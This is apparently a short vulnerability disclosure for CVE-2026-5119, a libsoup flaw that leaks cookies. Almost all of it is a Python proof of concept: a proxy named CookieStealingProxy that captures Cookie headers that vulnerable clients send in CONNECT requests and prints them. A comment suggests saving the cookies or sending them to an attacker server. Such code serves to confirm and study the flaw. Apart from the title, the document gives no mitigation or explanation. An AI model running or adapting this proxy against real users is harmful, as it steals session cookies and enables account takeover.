CVE-2026-5119 libsoup敏感信息泄露漏洞

# PoC: Malicious Proxy Server to Capture Cookies from CONNECT import http.server import socketserver class CookieStealingProxy(http.server.BaseHTTPRequestHandler): def do_CONNECT(self): hostname = self.path.split(':')[0] print(f"[+] Intercepting CONNECT to: {hostname}") # Extract the Cookie header from the CONNECT request cookies = self.headers.get('Cookie') if cookies: print(f"[!] VULNERABILITY CONFIRMED: Leaked Cookie: {cookies}") # Save to file or send to attacker server here else: print("[-] No cookies found.") # Send 200 OK to allow connection (or block it) self.send_response(200, 'Connection Established') self.end_headers() # Simple tunnel logic would go here if __name__ == "__main__": PORT = 8888 with socketserver.TCPServer(("", PORT), CookieStealingProxy) as httpd: print(f"Listening for vulnerable clients on port {PORT}...") httpd.serve_forever()